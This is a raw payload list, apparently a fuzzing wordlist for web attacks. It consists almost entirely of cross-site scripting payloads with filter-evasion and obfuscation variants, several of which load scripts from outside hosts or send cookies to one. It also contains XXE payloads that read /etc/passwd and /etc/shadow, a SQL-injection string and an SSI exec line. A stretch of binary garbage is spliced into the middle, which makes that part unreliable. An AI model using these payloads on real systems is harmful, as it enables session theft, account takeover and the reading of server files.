"<svg/onload=prompt(0);>"
<svg/onload=prompt(0);>
"<svg/onload=prompt(/XSS/.source);prompt(0);confirm(0);confirm(0);>"
"\"><svg/onload=prompt(/XSS/.source);prompt(0);confirm(0);confirm(0);>",
<svg/onload=prompt(/XSS/.source);prompt(0);confirm(0);confirm(0);>
><svg/onload=prompt(/XSS/.source);prompt(0);confirm(0);confirm(0);>
<svg/onload=window.onerror=confirm;throw/5/;//
<svg/onload=window.onerror=confirm;throw/XSS/;//
<svg/onload=window.onerror=confirm;throw/XSS/;//"
<svg><script ?>confirm(1)
<svg><script ?>confirm(1);
<svg><script onlypossibleinopera:-)> confirm(1)
<svg><script x:href='https://dl.dropbox.com/u/13018058/js.js'
<svg><script><![CDATA[\]]]]><![CDATA[><![CDATA[u0061]]]]><![CDATA[><![CDATA[lert]]]]><![CDATA[>(1)</script>
"/><svg><script>//
confirm(1);</script </svg>
<svg><script>a<!>l<!>e<!>r<!>t<!>(<!>1<!>)</script>
<svg><script>confirm(/1/)</script>
<svg><script>confirm("");confirm('yes')//no")</script>
<svg><script>a<svg//onload=confirm(2) />lert(1)</script>
<svg><script>location=<>javascript&#x3A;confirm(1)<!/></script>
<svg><script>/**/confirm(3)//*/</script></svg>
<svg><style>*{font-family:'<svg onload=confirm(1)>';}</style></svg>
<svg><style><img src=x onerror=confirm(1)></svg>
</svg>''<svg><script 'AQuickBrownFoxJumpsOverTheLazyDog'>confirm(1)
?t=confirm(1)&k7="><svg/t='&k8='onload='/&k9=/+eval(t)'
test=scriptx=document.createElement(%27script%27);x.innerHTML=%27confirm(location)%27;document.body.appendChild(x);/script¬bot=UzXGjMCo8AoAAFUcKTEAAAAN
<textarea autofocus onfocus=confirm(3)>
<textarea id=ta onfocus=%22write('<script>confirm(1)</script>')%22 autofocus></textarea>
<textarea id=ta onfocus=console.dir(event.currentTarget.ownerDocument.location.href=%26quot;javascript:\%26quot;%26lt;script%26gt;var%2520xhr%2520%253D%2520new%2520XMLHttpRequest()%253Bxhr.open('GET'%252C%2520'http%253A%252F%252Fhtml5sec.org%252Fxssme2'%252C%2520true)%253Bxhr.onload%2520%253D%2520function()%2520%257B%2520confirm(xhr.responseText.match(%252Fcookie%2520%253D%2520'(.*%253F)'%252F)%255B1%255D)%2520%257D%253Bxhr.send()%253B%26lt;\/script%26gt;\%26quot;%26quot;) autofocus></textarea>
"/><textarea id=ta></textarea><script>ta.appendChild(safe123.parentNode.previousSibling.previousSibling.childNodes[3].firstChild.cloneNode(true));confirm(ta.value.match(/cookie = '(.*?)'/)[1])</script>
<textarea id=ta></textarea><script>ta.appendChild(safe123.parentNode.previousSibling.previousSibling.childNodes[3].firstChild.cloneNode(true));confirm(ta.value.match(/cookie = '(.*?)'/)[1])</script>
<textarea name='file"; filename="test.<img src=a onerror=document&#46;location&#61;&#34;http:&#47;&#47;evil&#46;site&#34;>'>
"<textarea onmousemove='confirm(1);'>"
<textarea></textarea>test<!-- </textarea><img src=xx: onerror=confirm(1)> -->
</title><frameset><frame src="data:text/html, fill the whole page and overlap everything<script>confirm(1)</script>">
</title><frameset><frame src="data:text/html,<script>confirm(1)</script>">
<ul><li><svg onload="confirm(1)"></li></ul>
<!--<value><![CDATA[<XML ID=I><X><C><![CDATA[<IMG SRC="javas<![CDATA[cript:confirm(document.location);">
"<video src=. onerror=prompt(0)>"
<video src=. onerror=prompt(0)>
<video src="x" onloadstart="confirm(1)">
<video+onerror='javascript:MouseEvent=function+MouseEvent(){};test=new+MouseEvent();test.isTrusted=true;test.type=%22click%22;document.getElementById(%22safe123%22).click=function()+{confirm(Safe.get());};document.getElementById(%22safe123%22).click(test);'><source>%23
<video><source o?UTF-8?Q?n?error="confirm(1)">
<x data-bind=".:confirm(1)">
<x data-bind=".:\u0061lert(1)">
<x onload'=confirm(1)
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
\x3E
>
>
\x3e
<xml id=cdcat><note><to>%26lt;span style=x:exp<![CDATA[r]]]]><">bold
<body language=vbs onload=window.location='data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+'>
<IFRAME/SRC=DATA:TEXT/HTML;BASE64,ICA8U0NSSVBUIC8NU1JDPSINSFRUUFM6DS8NDS8NSEVJREVSSS5DSC96DSINID4NPC9TQ1JJUFQNDT5>
%uff1cscript%uff1econfirm%uff0876310%uff09%uff1c/script%uff1e
<script>``.constructor.constructor`confirm\`1\````</script>
eval("\x61\x6c\x65\x72\x74\x28\x31\x29”)
<script>var%20x%20=%20“a”;%20confirm(1);//”;</script>
<source srcset="x"><img onerror="confirm(5)"></picture>
<svg><script>confirm`1`<p><svg><script>confirm`1`<p>
<i/style=x=x/**/(confirm(1))('\')expression\')>
<i/style=x=x/**/n(confirm(1))('\')expressio\')>
<div style='x:anytext/**/xxxx/**/n(confirm(1)) ("\"))))))expressio\")'>aa</div> //
<script>write(“<img/src=//xss.cx/?”+cookie.replace(/\s/g,"")+“>”)></script>
<base href="javascript:\"> <a href="//%0aconfirm(2);//">XSS</a>
<base href="javascript:\"> <a href="//%0a%0dconfirm(2);//">XSS</a>
<base href="javascript:\"> <a href="//%00confirm(2);//">XSS</a>
<base href="javascript:\"> <a href="//xss.cx/xss.js">XSS</a>
<script src="//⒕₨"></script>)
<anything onmouseover=javascript:confirm(1)>
<%00/title>
<""/title>
</title"">
</title id="">
<a href='javascript:http://@cc_on/confirm%28location%29'>click</a>
<img src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==">
<a href="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="><img src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></a>
"> "><iframe src=http://xss.cx onload=confirm(5) <<iframe src=a> "><iframe src=http://xss.cx onload=confirm(8) <
% E2% 88% 80% E3% B8% 80% E3% B0% 80script% E3% B8% 80confirm% 281% 29% E3% B0 % 80 80/script% E3% B8%
"><svg/onload=prompt(1)>
"onresize=prompt(1)>
<svg/onload=prompt(1)
<svg><script>prompt(1)<b>
<svg><script>prompt(1)</script>
<script>eval.call`${'prompt\x281)'}`</script>
<script>prompt.call`${1}`</script>
--!><svg/onload=prompt(1)
<p class="comment" title=""><svg/a="></p>
<p class="comment" title=""onload='/*"></p>
<p class="comment" title="*/prompt(1)'"></p>
"><svg/a=#"onload='/*#*/prompt(1)'
"><script x=#"async=#"src="//⒛₨
[U+2028]prompt(1)[U+2028]-->
<ſvg><ſcript/href=//⒕₨>
<ſcript/async/src=//⒛₨>
<img src=""><SCRIPT/ASYNC/SRC="/〳⒛₨">
"><script>`#${prompt(1)}#`</script>
<iframe/*%%%%25%%%25*/src='javascript:vbscript:%0b%0a/**/;//:http://www.google.com/?=%0a/**/javascript:%0a/*oleeeeeeeeeeeeeee*/alert(2);'>
<A HREF="javascript	:alert(1)">
<%= puts "test" %>
'"--></style></script><script>alert(0x0009BE)</script>
<a href="javascript:history:alert(this.history.length)">click</a>
xss=<link rel=import href=http://xss.cx/xss.js >
<% a=%><iframe/onload=alert(1)//>
<%/z=%><p/onresize=alert(1)//>
<%/z=%><p/onresize=alert(1)//>
<xml/></xml><iframe/onload=alert(1)>
<xmp/></xmp><iframe/onload=alert(1)>
<comment/></comment><iframe/onload=alert(1)>
<fORm/hello^waf/aCTIon=j	avas	cript
:alert/**/(docu	ment.coo	kie)><InPuT/TyPe=submit
<iframe onload="(function*(){}).constructor('alert(location)')().next()">
<iframe%20onload="new%20Promise($=>alert(location))">
<iframe onload=alert.call(...[top,location])>
<iframe onload=`${alert(location)}`>
<title/></title><iframe/onload=alert(1)><?xml version="1.0" encoding="UTF-8"?>
<html xmlns:html="http://w3.org/1999/xhtml">
<html:script>prompt("Alert by Rohan's XML-to-XSS File!");</html:script>
</html><?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">
alert("This is the alert box by Rohan's SVG file.");
</script>
</svg>BM/*zlY BGRs*/=0;
<title/></title><iframe/onload=alert(1)>CWSi xeTRFږe1@44 d0!R n _$à,
+If:I'kr^Ы+ L4=;~g9_ ` Nq 'ם#q<0-V/*}ϳ[4:u.Ύ$7f5fO*퀠C\1lϠ :^T*7zKj 3Td@,ϕ#ԖNضMC>4} +RMxgF/xd%G:`-ھ&* HC4*S pi Y*!أ/6obr/I$]G'JlbSn4CuOOiXX _.^woN_wD`U: 8>|F̕`w,Yi~r;zළl fwPC*UAIElibxa] sCaTCԈ#nշ#sQwwu h&'D :w
:^ 6M:6#cu|&7v>8 $h]W XߩgݘC6)f-ma|."ILfnJMYޖ.X(B&numY5vB
a,( qEBY J#W$'I1 BqII%Ԥ37I"xo*nSJ}iJwI{ mzY^6ۛ_@V1KWJNj\rn ayP~P.Kߔr >Jgyc) exQGB ỵ2 hG H y /wl86)<:S`v s |)4_B(-CD~/459Ӵu q:(HGOql?6J\ ד 7> D( 0,Lx$7{ 8&`g"m(.JA/JQ/ʜ>'+|x VcqZ7e?S鴓%3e%3cscript%3ealert(1)%3c/script%3e
)alert(1);//
-alert(1)-
-prompt(1)-
/><marquee onfinish=confirm(1)>a</marquee>
/><script>alert(String.fromCharCode(75,67,70))</script>
/><script>prompt(1)</script>
; alert(1);
; alert(1); var foo=
; alert(document.cookie); var foo=
;!<SCRIPT>alert(String.fromCharCode(75,67,70))</SCRIPT>=&{}
;alert(X)
;alert(X);
;alert(1)//
;alert(String.fromCharCode(75,67,70))
;alert(String.fromCharCode(75,67,70));
;alert(String.fromCharCode(88,83,83))//;alert(String.fromCharCode(88,83,83))//;alert(String.fromCharCode(88,83,83))//;alert(String.fromCharCode(88,83,83))//></SCRIPT>>><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
;prompt(1)//
<script>alert(1)</script>
<script>prompt(1)</script>
><<script>alert(1);//<</script>
><<script>alert(document.cookie);//<</script>
><ScRIPt<aLeRT(String.fromCharCode(75,67,70))</ScRIPt>
><ScRIPt>prompt(1)</ScRIPt>
><ScRiPt>alert(1)</ScRiPt>
><ScRiPt>alert(1)</script>
><ScRiPt>alert(document.cookie)</script>
><s%2bcript>alert(1)</script>
><s%2bcript>alert(document.cookie)</script>
><scr<script>ipt>alert(1)</scr</script>ipt>
><script >alert(1)</script >
><script >alert(1)</script>
><script>alert(X)</script>
><script>alert(1)</script>
><script>alert(String.fromCharCode(75,67,70))</script>
><script>prompt(1)</script>
img onerror=alert(1) src=a
scriptalert(X)/script
scriptalert(XSS)/script
scriptualert(EXSSE)/scriptu
<SCRIPT>alert(/XSS/.source)</SCRIPT>
<font style='color:expression(alert('XSS'))'>
<script/src=data:text/j\u0061v\u0061script,\u0061%6C%65%72%74(/XSS/)></script
javascript:confirm&lpar1&rpar
onfocus=JaVaSCript:alert(123) autofocus
onfocus=JaVaSCript:alert(9) autofocus
!<SCRIPT>alert(String.fromCharCode(75,67,70))</SCRIPT>=&{}
![CDATA[<!--]]<script>alert('XSS');//--></script>
\
\
)\
!–<SCRIPT>alert(String.fromCharCode(75,67,70))</SCRIPT>=&{}
" autofocus onkeyup="javascript:alert(123)
" autofocus onkeyup="javascript:alert(23)
" onblur=alert(XSS) "> <"
" onclick=alert(1)//<button ' onclick=alert(1)//> */ alert(1)//
" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
" onclick=alert(XSS) ">
" onerror=alert(1) "
" onerror=alert(1) x="
" onfocus="write(unescape('<')+'script src='+unescape('"http://')
" onfocus=JaVaSCript:alert(10) autofocus
" onfocus=JaVaSCript:alert(123) autofocus
" onfocus=alert(XSS) "> <"
" onmouseover="alert(4321)" blah="
" onmouseover=alert(XSS) ">
" type=image src=null onerror=X " \' type=image src=null onerror=X \'
"!=prompt(9)!="
""+{toString:alert}
""+{valueOf:alert}
"%0a/><script>//alert(1)//
"%3cscript%3ealert(""WXSS"");%3c/script%3e"
"&<script>document.write(""XSS-XSS-XSS"");</script>"
"&{document.write(""XSS-XSS-XSS"");};"
"(prompt(1))in"
");alert(1);
");eval(name+"
"*prompt(9)*"
"+document.cookie+"
"+eval(name)+"
"+onDblClick=prompt(123)"+
"+onError=prompt(123)"+
"+onReset=prompt(123)"+
"+onfocus="prompt(1)"+
"+onkeypress="prompt(23)"+
"+onmouseover="window.location='http://localhost'
"+style%3d"x%3aexpression(alert(1))+
"-alert(1)-"
"-prompt(9)-"
"/>%3ciframe%20src%3djavascript%3aalert%283%29%3e
"/alert(1)/"
"/prompt(9)/"
"1\"&confirm(1)\"3"
"; [][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])(); "
"; alert( 3) ; "
"; eval('\u0061'+'\x6c'+'e'+'r'+'t')(2); "
"; javascript:aler\u0074(4); "
"; javascript:window.open('data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg=='); "
";a.b=c;//
";a[b]=c;//
";alert(123);t="
";alert(15);t="
";document.body.addEventListener("DOMActivate",alert(1))//
";document.body.addEventListener("DOMActivate",confirm(1))//
";escape=eval;//
";eval(unescape(location))//# %0Aalert(0)
";eval(unescape(location))//#%0Aalert(1)
";eval(unescape(location))//#%0Aprompt(0)
";location.href='http://site';//
";location='javascript:alert(1)';
";location=location.hash)//#0={};alert(0)
";location=location.hash)//#0={};alert(1)
";location=name;//
"<!-- -- --><script>document.write(""XSS-XSS-XSS"");</script><!-- -- -->"
"<!--#exec cmd=""/bin/echo '<SCR'""--><!--#exec cmd=""/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>'""-->"
"<![CDATA[<!--]]]]><![CDATA[><script>document.write(""XSS-XSS-XSS"");//--></script>"
"</TITLE><SCRIPT>alert(""XSS"");</SCRIPT>"
"</script><svg><script>alert(1)+"";
"<<SCRIPT>alert(""XSS"");//<</SCRIPT>"
"<<prompt(9)<<"
"<<script>alert(""WXSS"");//<</script>"
"<<script>document.write(""XSS-XSS-XSS"");</script>"
"<=prompt(9)<="
"<? echo('<SCR)';echo('IPT>alert(""XSS"")</SCRIPT>'); ?>"
"<?xml version=""1.0"" encoding=""ISO-8859-1""?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM ""file:////dev/random"">]><foo>&xxe;</foo>"
"<?xml version=""1.0"" encoding=""ISO-8859-1""?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM ""file:////etc/passwd"">]><foo>&xxe;</foo>"
"<?xml version=""1.0"" encoding=""ISO-8859-1""?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM ""file:////etc/shadow"">]><foo>&xxe;</foo>"
"<?xml version=""1.0"" encoding=""ISO-8859-1""?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM ""file://c:/boot.ini"">]><foo>&xxe;</foo>"
"<?xml version=""1.0"" encoding=""ISO-8859-1""?><foo><![CDATA[' or 1=1 or ''=']]]]><![CDATA[></foo>"
"<?xml version=""1.0"" encoding=""ISO-8859-1""?><foo><![CDATA[<]]]]><![CDATA[>SCRIPT<![CDATA[>]]]]><![CDATA[>alert('XSS');<![CDATA[<]]]]><![CDATA[>/SCRIPT<![CDATA[>]]]]><![CDATA[></foo>"
"<A HREF=""//google"">XSS</A>"
"<A HREF=""//www.google.com/"">XSS</A>"
"<A HREF=""h\ntt\tp://6"
"<A HREF=""http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D"">XSS</A>"
"<A HREF=""http://0102.0146.0007.00000223/"">XSS</A>"
"<A HREF=""http://0x42.0x0000066.0x7.0x93/"">XSS</A>"
"<A HREF=""http://1113982867/"">XSS</A>"
"<A HREF=""http://66.102.7.147/"">XSS</A>"
"<A HREF=""http://google.com/"">XSS</A>"
"<A HREF=""http://www.gohttp://www.google.com/ogle.com/"">XSS</A>"
"<A HREF=""http://www.google.com./"">XSS</A>"
"<A HREF=""javascript:document.location='http://www.google.com/'"">XSS</A>"
"<BASE HREF=""javascript:alert('XSS');//"">"
"<BGSOUND SRC=""javascript:alert('XSS');"">"
"<BODY BACKGROUND=""javascript:alert('XSS')"">"
"<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(""XSS"")>"
"<BR SIZE=""&{alert('XSS')}"">"
"<DIV STYLE=""background-image: url(javascript:alert('XSS'))"">"
"<DIV STYLE=""background-image: url(javascript:alert('XSS'))"">"
"<DIV STYLE=""background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"">"
"<DIV STYLE=""width: expression(alert('XSS'));"">"
"<EMBED SRC=""data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="" type=""image/svg+xml"" AllowScriptAccess=""always""></EMBED>"
"<EMBED SRC=""http://ha.ckers.org/xss.swf"" AllowScriptAccess=""always""></EMBED>"
"<FRAMESET><FRAME SRC=""javascript:alert('XSS');""></FRAMESET>"
"<HEAD><META HTTP-EQUIV=""CONTENT-TYPE"" CONTENT=""text/html; charset=UTF-7""> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-"
"<HTML xmlns:xss><?import namespace=""xss"" implementation=""http://ha.ckers.org/xss.htc""><xss:xss>XSS</xss:xss></HTML>"
"<HTML><BODY><?xml:namespace prefix=""t"" ns=""urn:schemas-microsoft-com:time""><?import namespace=""t"" implementation=""#default#time2""><t:set attributeName=""innerHTML"" to=""XSS<SCRIPT DEFER>alert(""XSS"")</SCRIPT>""></BODY></HTML>"
"<IFRAME SRC=""javascript:alert('XSS');""></IFRAME>"
"<IMG """"""><SCRIPT>alert(""XSS"")</SCRIPT>"">"
"<IMG DYNSRC=""javascript:alert('XSS')"">"
"<IMG LOWSRC=""javascript:alert('XSS')"">"
"<IMG SRC=""  javascript:alert('XSS');"">"
"<IMG SRC=""jav"
"<IMG SRC=""javascript:alert('XSS')"""
"<IMG SRC=""javascript:alert('XSS');"">"
"<IMG SRC='vbscript:msgbox(""XSS"")'>"
"<IMG SRC=`javascript:alert(""RSnake says, 'XSS'"")`>"
"<IMG SRC=javascript:alert(""XSS"")>"
"<IMG STYLE=""xss:expr/*XSS*/ession(alert('XSS'))"">"
"<IMG%20""""""><SCRIPT>alert(""WXSS"")</SCRIPT>"">"
"<IMG%20DYNSRC=""javascript:alert('WXSS')"">"
"<IMG%20LOWSRC=""javascript:alert('WXSS')"">"
"<IMG%20SRC=""%20%20javascript:alert('WXSS');"">"
"<IMG%20SRC=""jav
"<IMG%20SRC=""jav ascript:alert('WXSS');"">"
"<IMG%20SRC=""jav"
"<IMG%20SRC=""javascript:alert('WXSS')"""
"<IMG%20SRC=""javascript:alert('WXSS');"">"
"<IMG%20SRC=`javascript:alert(""'WXSS'"")`>"
"<INPUT TYPE=""IMAGE"" SRC=""javascript:alert('XSS');"">"
"<LAYER SRC=""http://ha.ckers.org/scriptlet.html""></LAYER>"
"<LINK REL=""stylesheet"" HREF=""http://ha.ckers.org/xss.css"">"
"<LINK REL=""stylesheet"" HREF=""javascript:alert('XSS');"">"
"<META HTTP-EQUIV=""Link"" Content=""<http://ha.ckers.org/xss.css>; REL=stylesheet"">"
"<META HTTP-EQUIV=""Set-Cookie"" Content=""USERID=<SCRIPT>alert('XSS')</SCRIPT>"">"
"<META HTTP-EQUIV=""refresh"" CONTENT=""0; URL=http://;URL=javascript:alert('XSS');"">"
"<META HTTP-EQUIV=""refresh"" CONTENT=""0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"">"
"<META HTTP-EQUIV=""refresh"" CONTENT=""0;url=javascript:alert('XSS');"">"
"<OBJECT TYPE=""text/x-scriptlet"" DATA=""http://ha.ckers.org/scriptlet.html""></OBJECT>"
"<SCRIPT ""a='>'"" SRC=""http://ha.ckers.org/xss.js""></SCRIPT>"
"<SCRIPT ="">"" SRC=""http://ha.ckers.org/xss.js""></SCRIPT>"
"<SCRIPT SRC=""http://ha.ckers.org/xss.jpg""></SCRIPT>"
"<SCRIPT a="">"" '' SRC=""http://ha.ckers.org/xss.js""></SCRIPT>"
"<SCRIPT a="">"" SRC=""http://ha.ckers.org/xss.js""></SCRIPT>"
"<SCRIPT a="">'>"" SRC=""http://ha.ckers.org/xss.js""></SCRIPT>"
"<SCRIPT a=`>` SRC=""http://ha.ckers.org/xss.js""></SCRIPT>"
"<SCRIPT/SRC=""http://ha.ckers.org/xss.js""></SCRIPT>"
"<SCRIPT/XSS SRC=""http://ha.ckers.org/xss.js""></SCRIPT>"
"<SCRIPT>document.write(""<SCRI"");</SCRIPT>PT SRC=""http://ha.ckers.org/xss.js""></SCRIPT>"
"<STYLE TYPE=""text/javascript"">alert('XSS');</STYLE>"
"<STYLE type=""text/css"">BODY{background:url(""javascript:alert('XSS')"")}</STYLE>"
"<STYLE>.XSS{background-image:url(""javascript:alert('XSS')"");}</STYLE><A CLASS=XSS></A>"
"<STYLE>@im\port'\ja\vasc\ript:alert(""XSS"")';</STYLE>"
"<STYLE>BODY{-moz-binding:url(""http://ha.ckers.org/xssmoz.xml#xss"")}</STYLE>"
"<STYLE>li {list-style-image: url(""javascript:alert('XSS')"");}</STYLE><UL><LI>XSS"
"<TABLE BACKGROUND=""javascript:alert('XSS')"">"
"<TABLE><TD BACKGROUND=""javascript:alert('XSS')"">"
"<XML ID=""xss""><I><B><IMG SRC=""javas<!-- -->cript:alert('XSS')""></B></I></XML><SPAN DATASRC=""#xss"" DATAFLD=""B"" DATAFORMATAS=""HTML""></SPAN>"
"<XML ID=I><X><C><![CDATA[<IMG SRC=""javas]]]]><![CDATA[><![CDATA[cript:alert('XSS');"">]]]]><![CDATA[></C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>"
"<XML SRC=""xsstest.xml"" ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>"
"<XSS STYLE=""behavior: url(xss.htc);"">"
"<XSS STYLE=""xss:expression(alert('XSS'))"">"
"<a href=""about:<script>document.write(""XSS-XSS-XSS"");</script>"">"
"<a href=""javascript#document.write(""XSS-XSS-XSS"");"">"
"<bgsound src=""javascript:document.write(""XSS-XSS-XSS"");"">"
"<body onload=""document.write(""XSS-XSS-XSS"");"">"
"<div datafld=""b"" dataformatas=""html"" datasrc=""#X""></div>"
"<div onmouseover=""document.write(""XSS-XSS-XSS"");"">"
"<div style=""background-image: url(javascript:document.write(""XSS-XSS-XSS""););"">"
"<div style=""behaviour: url([link to code]);"">"
"<div style=""binding: url([link to code]);""> [Mozilla]"
"<div style=""binding: url([link to code]);"">"
"<div style=""width: expression(document.write(""XSS-XSS-XSS""););"">"
"<iframe src=""vbscript:document.write(""XSS-XSS-XSS"");"">"
"<img dynsrc=""javascript:document.write(""XSS-XSS-XSS"");"">"
"<img src=""blah""onmouseover=""document.write(""XSS-XSS-XSS"");"">"
"<img src=""blah>"" onmouseover=""document.write(""XSS-XSS-XSS"");"">"
"<img src=""javascript:document.write(""XSS-XSS-XSS"");"">"
"<img src=""livescript:document.write(""XSS-XSS-XSS"");"">"
"<img src=""mocha:document.write(""XSS-XSS-XSS"");"">"
"<img src=&{document.write(""XSS-XSS-XSS"");};>"
"<input type=""image"" dynsrc=""javascript:document.write(""XSS-XSS-XSS"");"">"
"<link rel=""stylesheet"" href=""javascript:document.write(""XSS-XSS-XSS"");"">"
"<meta http-equiv=""refresh"" content=""0;url=javascript:document.write(""XSS-XSS-XSS"");"">"
"<object classid=""clsid:..."" codebase=""javascript:document.write(""XSS-XSS-XSS"");"">"
"<prompt(9)<"
"<script>alert(""WXSS"")</script>"
"<style type=""text/javascript"">document.write(""XSS-XSS-XSS"");</style>"
"<style><!--</style><script>document.write(""XSS-XSS-XSS"");//--></script>"
"<xml ID=""xss""><I><B><IMG SRC=""javas<!-- -->cript:alert('XSS')""></B></I></xml><SPAN DATASRC=""#xss"" DATAFLD=""B"" DATAFORMATAS=""HTML""></SPAN></C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>"
"<xml ID=I><X><C><![CDATA[<IMG SRC=""javas]]]]><![CDATA[><![CDATA[cript:alert('XSS');"">]]]]><![CDATA[>"
"<xml SRC=""xsstest.xml"" ID=I></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>"
"<xml id=""X""><a><b><script>document.write(""XSS-XSS-XSS"");</script>;</b></a></xml>"
"<xml src=""javascript:document.write(""XSS-XSS-XSS"");"">"
"===prompt(9)==="
"==prompt(9)=="
">< %3C < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < \x3c \x3C \u003c \u003C
"><!-- --!><script>alert(X)</script>-->
"><!-- `<img/src=xx:xx onerror=alert(1)//--!>
"><!--<img src="--><img src=x onerror=alert(1)//">
"><!--[if gte IE 4]><SCRIPT>alert(1);</SCRIPT>
"><!--[if<img src=x onerror=alert(2)//]> -->
"><!--[if]><script>alert(1)</script -->
"><!--[if]><script>alert(1)</script -->
